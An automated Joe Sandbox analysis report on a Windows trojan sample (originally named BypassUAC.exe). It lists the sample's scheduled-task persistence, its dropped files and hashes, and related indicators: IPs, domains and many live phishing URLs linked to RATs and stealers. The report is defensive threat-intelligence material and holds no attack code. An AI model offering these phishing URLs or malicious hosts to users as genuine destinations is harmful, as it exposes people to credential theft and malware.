169.197.85.95	i.ibb.co	United States	26548	PUREVOLTAGE-INCUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1533949
Start date and time:	2024-10-15 11:19:13 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 52s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	28
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	r8k29DBraE.exe renamed because original name is a hash value
Original Sample Name:	03c95970bb3d91530aa29f9199ac1b2d7082672909e9c1a30804f99ebc9643b7.exe
Detection:	MAL
Classification:	mal100.troj.expl.evad.winEXE@16/81@3/4
EGA Information:	Successful, ratio: 94.4%
HCA Information:	Successful, ratio: 98% Number of executed functions: 105 Number of non-executed functions: 307
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.190.160.14, 40.126.32.136, 40.126.32.74, 40.126.32.76, 20.190.160.17, 40.126.32.133, 40.126.32.138, 40.126.32.72, 178.79.208.1, 20.190.160.22, 40.126.32.68, 20.190.160.20, 104.208.16.94
Excluded domains from analysis (whitelisted): prdv4a.aadg.msidentity.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, www.tm.v4.a.prd.aadg.akadns.net, ctldl.windowsupdate.com, time.windows.com, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, login.live.com, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com, wu-b-net.trafficmanager.net, www.tm.lg.prod.aadmsa.trafficmanager.net, onedsblobprdcus16.centralus.cloudapp.azure.com
Execution Graph export aborted for target wzcsapi.exe, PID 6880 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: r8k29DBraE.exe

Simulations

Behavior and APIs

Time	Type	Description
05:20:27	API Interceptor	55570x Sleep call for process: wzcsapi.exe modified
05:20:27	API Interceptor	4362x Sleep call for process: svchost.exe modified
07:03:12	API Interceptor	1x Sleep call for process: WerFault.exe modified
07:03:22	API Interceptor	418105x Sleep call for process: winlogon.exe modified
07:03:23	API Interceptor	335270x Sleep call for process: lsass.exe modified
07:03:25	API Interceptor	1728x Sleep call for process: wzcsvc.exe modified
07:03:28	API Interceptor	393510x Sleep call for process: dwm.exe modified
11:20:25	Task Scheduler	Run new task: wzcsapi path: %Current%\wzcsapi.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.26.2.16	zkGOUJOnmc.elf	Get hash	malicious	Unknown	Browse	arc-gym.com.cutestat.com/wordpress/wp-login.php
162.19.58.157	http://nmacouai-80bf.edohlriapdnoap.workers.dev	Get hash	malicious	HTMLPhisher	Browse
	http://netflix-n-chill.vercel.app/	Get hash	malicious	HTMLPhisher	Browse
	https://meaoee-fc3f.elamzioehr.workers.dev/	Get hash	malicious	HTMLPhisher	Browse
	https://polap77.com/	Get hash	malicious	HTMLPhisher	Browse
	https://auebg-8a9e.bosrmeadeklc.workers.dev/	Get hash	malicious	HTMLPhisher	Browse
	http://pub-7c9ee239002440a79f4b2c5934b13627.r2.dev/higher.html	Get hash	malicious	HTMLPhisher	Browse
	https://kuconlogin-ui.godaddysites.com/	Get hash	malicious	Unknown	Browse
	https://claim.eventsmidasbuys.com/	Get hash	malicious	HTMLPhisher	Browse
	https://uphlld_logusn.godaddysites.com/	Get hash	malicious	Unknown	Browse
	DEMANDA G.COM.exe	Get hash	malicious	AsyncRAT	Browse
147.185.221.18	Lr87y2w72r.exe	Get hash	malicious	XWorm	Browse
	7LwVrYH7sy.exe	Get hash	malicious	XWorm	Browse
	1c8DbXc5r0.exe	Get hash	malicious	XWorm	Browse
	6Mt223MA25.exe	Get hash	malicious	ArrowRAT	Browse
	b34J4bxnmN.exe	Get hash	malicious	Njrat	Browse
	01koiHnedL.exe	Get hash	malicious	Njrat	Browse
	i231IEP3oh.exe	Get hash	malicious	AsyncRAT	Browse
	killer.exe	Get hash	malicious	XWorm	Browse
	system47.exe	Get hash	malicious	XWorm	Browse
	javaupdate.jar	Get hash	malicious	Dynamic Stealer	Browse
169.197.85.95	https://meaoee-fc3f.elamzioehr.workers.dev/	Get hash	malicious	HTMLPhisher	Browse
	https://oaemk-f29f.hmnaitswiaa.workers.dev/	Get hash	malicious	HTMLPhisher	Browse
	http://pub-0b94d4f0b06646c5bbfca320d917c04a.r2.dev/insured.html	Get hash	malicious	HTMLPhisher	Browse
	https://en-io-trezor-docs.github.io/	Get hash	malicious	HTMLPhisher	Browse
	https://upholzds_logiaz.godaddysites.com/	Get hash	malicious	Unknown	Browse
	https://steamcommunilty.com/dota/promo	Get hash	malicious	Unknown	Browse
	https://trezor-docs-info.github.io/	Get hash	malicious	HTMLPhisher	Browse
	https://krokerkenlogicttin.godaddysites.com/	Get hash	malicious	Unknown	Browse
	https://kukcon-xlogns.godaddysites.com/	Get hash	malicious	Unknown	Browse
	https://uphlld_logusn.godaddysites.com/	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
windowsupdatebg.s.llnwi.net	Request for Quotation MK FMHS.RFQ.10.24.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	87.248.204.0
	Request for Quotation MK FMHS.RFQ.10.24.vbs	Get hash	malicious	Unknown	Browse	178.79.238.128
	https://jobs.sap.com/job/Walldorf-SAP-Ariba-Technology-Consultant-EMEA-ISBN-Technology-Services-%28Location-Germany%29-69190/1110452901/	Get hash	malicious	Unknown	Browse	87.248.204.0
	SecuriteInfo.com.W32.PossibleThreat.20383.9039.exe	Get hash	malicious	Unknown	Browse	46.228.146.0
	file.exe	Get hash	malicious	CobaltStrike	Browse	87.248.205.0
	https://saaxzz2569.cyou/m/user/index	Get hash	malicious	Unknown	Browse	87.248.204.0
	https://qrco.de/bfTkZ4	Get hash	malicious	Unknown	Browse	178.79.208.1
	https://bt-custom3r-serv1ce.weeblysite.com/	Get hash	malicious	Unknown	Browse	87.248.204.0
	https://798-ads.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	178.79.208.1
	https://urless.com/XMVIg	Get hash	malicious	Unknown	Browse	178.79.238.128
i.ibb.co	https://pub-c5538851da6244d790b9ba2a84c8b2af.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	162.19.58.161
	http://nmacouai-80bf.edohlriapdnoap.workers.dev	Get hash	malicious	HTMLPhisher	Browse	162.19.58.157
	432mtXKD3l.exe	Get hash	malicious	XWorm	Browse	162.19.58.156
	http://netflix-n-chill.vercel.app/	Get hash	malicious	HTMLPhisher	Browse	162.19.58.157
	https://rondoc-b7ce.lvauayt.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	162.19.58.160
	https://meaoee-fc3f.elamzioehr.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	162.19.58.157
	https://oaemk-f29f.hmnaitswiaa.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	104.194.8.184
	http://sanjaygowda23.github.io/netflix-homepage	Get hash	malicious	HTMLPhisher	Browse	104.194.8.184
	http://pub-0b94d4f0b06646c5bbfca320d917c04a.r2.dev/insured.html	Get hash	malicious	HTMLPhisher	Browse	169.197.85.95
	https://soulis-alex.github.io/netflix/	Get hash	malicious	HTMLPhisher	Browse	162.19.58.156
rentry.co	Q1KaSJ8Fom.exe	Get hash	malicious	Unknown	Browse	172.67.75.40
	hzUKkzHBqd.ps1	Get hash	malicious	Unknown	Browse	104.26.2.16
	MVgsmZoDvQ.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	172.67.75.40
	hQI2tssFc0.exe	Get hash	malicious	Unknown	Browse	104.26.2.16
	Q1KaSJ8Fom.exe	Get hash	malicious	Unknown	Browse	104.26.2.16
	cs.exe	Get hash	malicious	Python Stealer, CStealer	Browse	172.67.75.40
	R6IuO0fzec.exe	Get hash	malicious	Python Stealer, CStealer	Browse	104.26.3.16
	FluxusV2.exe	Get hash	malicious	Python Stealer, CStealer	Browse	104.26.3.16
	egFMhHSlmf.exe	Get hash	malicious	Xmrig	Browse	104.26.3.16
	x2Yi9Hr77a.exe	Get hash	malicious	XWorm	Browse	172.67.75.40

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
PUREVOLTAGE-INCUS	https://ducati-mlbb.shop/	Get hash	malicious	HTMLPhisher	Browse	162.249.168.129
	https://dlce.cc/fbacdcb212bcbb323077d5a99ef04c07	Get hash	malicious	Unknown	Browse	104.244.159.148
	https://dlce.cc/fbacdcb212bcbb323077d5a99ef04c07	Get hash	malicious	Unknown	Browse	104.244.159.148
	https://email.mail.dlce.cc/c/eJxMkLGu2zAMAL_G2mRQNC1Kg4Yu-Y2AIqVGqGMbiVEgf18E6PDWwy13cp73YSVRDhYW8CxonpTJZ4rdQ9UYrUIyTM5KFJUUXSuBMVHOKaF7FCSt2iWzJIldM2sUaYtGUuMY1I2CgBQAckhrQJwXaMl6YrPQE1OYCJ4yttk2bbOq28rjus73tPya8Dbh7T-f8NarqGnFgFVrXXABZlsl59aBFNjtxzX6ULnGsX_LslFvHbJfexZPvaGXwOwRgXo1Ya7szk0-7fXVrcUaU1g8AKknhOqTZvWAUcHSWiOxe5Wx92MiqPI55fWnj_dj7L9nPZ7u3Xa7X-P541Fwfwv-CwAA__-Ag2la	Get hash	malicious	Unknown	Browse	104.244.159.148
	https://meaoee-fc3f.elamzioehr.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	169.197.85.95
	https://oaemk-f29f.hmnaitswiaa.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	169.197.85.95
	http://pub-0b94d4f0b06646c5bbfca320d917c04a.r2.dev/insured.html	Get hash	malicious	HTMLPhisher	Browse	169.197.85.95
	https://jumatan.sudaha.biz.id/4F741t%23XjCw%5BYg/	Get hash	malicious	Unknown	Browse	162.249.168.129
	https://www.google.com.ai/amp/clck.ru/3DSSCz?hghghghHGVGvbbgffGFHGJdgddghfhghfgdgdgdgfhgg?sdfsewsrewrettfg	Get hash	malicious	GRQ Scam	Browse	162.249.168.129
	https://en-io-trezor-docs.github.io/	Get hash	malicious	HTMLPhisher	Browse	169.197.85.95
CLOUDFLARENETUS	Q1KaSJ8Fom.exe	Get hash	malicious	Unknown	Browse	162.159.135.232
	hzUKkzHBqd.ps1	Get hash	malicious	Unknown	Browse	104.26.2.16
	MVgsmZoDvQ.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	172.67.75.40
	hQI2tssFc0.exe	Get hash	malicious	Unknown	Browse	104.26.2.16
	Q1KaSJ8Fom.exe	Get hash	malicious	Unknown	Browse	104.16.184.241
	lfyJfb6jSS.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	http://learnthelanguage.nl/?wptouch_switch=desktop&redirect=http://basinindustriesinc.com	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	http://translate.how	Get hash	malicious	Unknown	Browse	188.114.96.3
	http://learnthelanguage.nl/?wptouch_switch=desktop&redirect=http://basinindustriesinc.com	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	SecuriteInfo.com.Win32.PWSX-gen.19951.1573.exe	Get hash	malicious	LummaC	Browse	172.67.141.93
SALSGIVERUS	SpeedHack666Cheat (no VM detected).exe	Get hash	malicious	Njrat, RevengeRAT	Browse	147.185.221.23
	mIURiU8n2P.exe	Get hash	malicious	XWorm	Browse	147.185.221.21
	8svMXMXNRn.exe	Get hash	malicious	NoCry, XWorm	Browse	147.185.221.23
	7yJsmmW4wS.exe	Get hash	malicious	XWorm	Browse	147.185.221.23
	I8YtUAUWeS.exe	Get hash	malicious	XWorm	Browse	147.185.221.23
	s3OBQLA3xR.exe	Get hash	malicious	XWorm	Browse	147.185.221.23
	W1FREE.exe	Get hash	malicious	XWorm	Browse	147.185.221.23
	dHp58IIEYz.exe	Get hash	malicious	XWorm	Browse	147.185.221.22
	Lr87y2w72r.exe	Get hash	malicious	XWorm	Browse	147.185.221.18
	7LwVrYH7sy.exe	Get hash	malicious	XWorm	Browse	147.185.221.18
CENTURYLINK-US-LEGACY-QWESTUS	na.elf	Get hash	malicious	Mirai, Moobot	Browse	174.124.122.209
	na.elf	Get hash	malicious	Mirai, Moobot	Browse	216.9.192.166
	na.elf	Get hash	malicious	Mirai, Moobot	Browse	75.171.124.182
	na.elf	Get hash	malicious	Mirai, Moobot	Browse	69.68.76.227
	na.elf	Get hash	malicious	Mirai, Moobot	Browse	65.149.196.1
	4Y8rbNhkaR.elf	Get hash	malicious	Mirai, Okiru	Browse	75.168.189.227
	na.elf	Get hash	malicious	Mirai, Okiru	Browse	67.237.29.87
	na.elf	Get hash	malicious	Mirai, Okiru	Browse	138.15.49.36
	na.elf	Get hash	malicious	Unknown	Browse	63.231.92.27
	na.elf	Get hash	malicious	Unknown	Browse	63.231.92.27

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Q1KaSJ8Fom.exe	Get hash	malicious	Unknown	Browse	162.19.58.157 104.26.2.16 169.197.85.95
	hzUKkzHBqd.ps1	Get hash	malicious	Unknown	Browse	162.19.58.157 104.26.2.16 169.197.85.95
	hQI2tssFc0.exe	Get hash	malicious	Unknown	Browse	162.19.58.157 104.26.2.16 169.197.85.95
	Q1KaSJ8Fom.exe	Get hash	malicious	Unknown	Browse	162.19.58.157 104.26.2.16 169.197.85.95
	xc.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	162.19.58.157 104.26.2.16 169.197.85.95
	qz.exe	Get hash	malicious	Quasar	Browse	162.19.58.157 104.26.2.16 169.197.85.95
	_FA_2024-09-01_17031.PDF.html	Get hash	malicious	Unknown	Browse	162.19.58.157 104.26.2.16 169.197.85.95
	captcha.cmd	Get hash	malicious	Unknown	Browse	162.19.58.157 104.26.2.16 169.197.85.95
	oWARzPF1Ms.exe	Get hash	malicious	PureLog Stealer	Browse	162.19.58.157 104.26.2.16 169.197.85.95
	0CX5vBE7nr.exe	Get hash	malicious	Babadeda, KDOT TOKEN GRABBER	Browse	162.19.58.157 104.26.2.16 169.197.85.95

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\Desktop\wzcsvc.exe	wzcstatus.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_r8k29DBraE.exe_eb64787a7acdaae91d5fed8f9e38caa8b37842_792eb0e9_ac445ba2-72a9-43bf-b1a3-43181b6be2cb\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.2591948169420386
Encrypted:	false
SSDEEP:	192:p3hzcdz5n0XCDVaWJ3OCHUeZFTanlnazuiFvZ24lO8Ou:phzkzaXCDVa29RcazuiFvY4lO8n
MD5:	4E854B8EA6AD33A23ACB27E1797F7C20
SHA1:	66BAD66313A5B0B49B34A2554172C94354EAD8B2
SHA-256:	F746D957DB4D69CED08FBB4860C19E857D1136F19B8DA4D3C212F53C645C6F64
SHA-512:	17B1DD382C31A70A862141B3203E56CBCE813322C90D33FA59AD0D6F8FF3001F20EA824F4AEDDCD8B5FD3E6FE8AD03823213CB470C549530B860B627F7957914
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.3.4.5.7.6.2.1.8.3.0.4.0.3.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.3.4.5.7.6.2.2.4.5.5.3.9.8.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.c.4.4.5.b.a.2.-.7.2.a.9.-.4.3.b.f.-.b.1.a.3.-.4.3.1.8.1.b.6.b.e.2.c.b.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.7.8.6.3.8.a.4.-.5.e.f.2.-.4.0.5.7.-.b.6.7.a.-.e.b.1.6.0.e.1.e.3.8.e.5.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.r.8.k.2.9.D.B.r.a.E...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.B.y.p.a.s.s.U.A.C...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.5.8.0.-.0.0.0.1.-.0.0.1.4.-.b.f.1.d.-.6.2.7.3.e.3.1.e.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.d.d.e.7.6.1.4.2.9.7.a.4.6.2.0.3.2.a.2.c.a.9.a.2.8.4.5.a.2.3.a.9.0.0.0.0.0.0.0.0.!.0.0.0.0.2.9.f.4.4.2.9.9.3.9.e.5.7.6.6.6.b.8.a.5.7.c.2.d.7.b.9.5.a.4.8.0.1.f.a.7.c.a.2.0.!.r.8.k.2.9.D.B.r.a.E.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE551.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 16 streams, Tue Oct 15 09:20:22 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	452219
Entropy (8bit):	3.513357610370291
Encrypted:	false
SSDEEP:	3072:jAf9GkLLILyRIFQC1CCqjTyBmr6vUPk5yzUb6c23+vMz2XPy4D+oUbJf8dqcSamB:c1GkLcI6qj623QMz2XK/oOJ0dia9u
MD5:	BCA302679F17F5FAC2E66278A242980F
SHA1:	6F6AB592E2356DA2BAD1A5263C7C46E6BF0C2EAC
SHA-256:	45C2212DDE398F8CB269475B91A1522082467831684D7BA961C253CC6D492C24
SHA-512:	0DDCBE0AB83CABE3E476F0E8DB826920821751D85D85637FCB141FE34869D3B916255571612FEDD0A06EEEC0BE74651C244D961FAD056336ADF51694D6F6311A
Malicious:	false
Preview:	MDMP..a..... ........3.g............................4.......$....(..........((......D...(x..........l.......8...........T............8..............D2..........04..............................................................................eJ.......4......Lw......................T............3.g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE6E8.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8606
Entropy (8bit):	3.6977634071093393
Encrypted:	false
SSDEEP:	192:R6l7wVeJG1ZC/A6YNZd/fWgmfZZdprr89bIszdf0s4m:R6lXJcZCY6Yz9fWgmfHsIIdfv
MD5:	C17862692858CBF66CEB5C5C4B6FA0B5
SHA1:	AD5AE46825BE2B786069C2D78861A4E448899E02
SHA-256:	98180CA43F3F5BB700BC5565840435E18A139BE698A8328946B17AEC596F8F10
SHA-512:	AC5CB5E2EC1BA39EE72AB3D847DC713295AB90F16B3A8997CC310CBBA3F8F200E04DA1913CD6D7081C45C627FE7D8B9113F63C91CB3D36FF664B6BC68F802369
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.4.0.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE718.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4800
Entropy (8bit):	4.473972843202252
Encrypted:	false
SSDEEP:	48:cvIwWl8zsSwJg771I9gzWpW8VY/Ym8M4JUy2F/yq8vKy1L5r+Fd:uIjf1I7zC7VvJmW5L5r+Fd
MD5:	494EBB7856071022C690A2732D405820
SHA1:	040DE1BAE458F92BDBEE2681C411360C18478727
SHA-256:	CDAB97965F8944B3F2015C98447750334F3DC1CA9C2D2506D0069880D6370E7D
SHA-512:	710DF770D89C2F58AE39E39D23534C6CBCB120C0CC0F6261D2DF0D395FAA7AF34F2DAE0C85C8DD61CA484D144CDACBF118D28F855898678979F8B478F12A18FB
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="544343" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE725.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	79586
Entropy (8bit):	3.043014628278272
Encrypted:	false
SSDEEP:	1536:O5rSEZ3yxXjxkAO1oXhHkXuqwMZbJa4bjiyT7fQYMOisU4z:O5rSEZ3yxXjxkAO1oXhHkXuqwMZbJa4D
MD5:	CD4ECE4507099D9D6FF67CDA556AFC7C
SHA1:	D5524F3725039208080DF56DEDC2FFE6E2B2FC0E
SHA-256:	07525F195C52A5AD2A96B5B2BDEC36CD505DE5EE76C01ADA18C6B06BD5A98A47
SHA-512:	AB1DEC7EF152016C5DCDD1AED86E91E9B1DC6503602691903A588F757BF492ACC6E4D2E62200DF7AD159CAB463F7BCB0145357B24CDEAC30C4F6BB84C9CC49E0
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE774.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6850547241904876
Encrypted:	false
SSDEEP:	96:TiZYWgSVf+CIEYPYhWaTH2UYEZe0tEiQk2hSCwjqHPaNZv6dMDnFIAw3:2ZDPpo16kPaNZwMDnaAw3
MD5:	F4A9C87C4894A4F38E0BB58C0559D34B
SHA1:	9CA197B6CA3D17C7DCD5906877A115FFF952F06B
SHA-256:	08BD6B140B20BF83F9C18837D1F41635010E18C2C0F787A4F22D529205E6AB36
SHA-512:	57D0976F08131F5530AFD510B65475F85D71837B77BA03C8F3B10B454239671089FCC4C25ED7D5A477DA0C22FFB1F9D5867C052DE079DAD178BEAE6A11E66D1A
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 4770 bytes, 1 file, at 0x2c +A "disallowedcert.stl", number 1, 1 datablock, 0x1 compression
Category:	dropped
Size (bytes):	4770
Entropy (8bit):	7.946747821604857
Encrypted:	false
SSDEEP:	96:9/nBu64pydcvOHRUfu0xK1bQYMRSRNoYmxYvk56sHMZhh4m:9/nBuP2cGxUfu6K1bpWJ6vfh4m
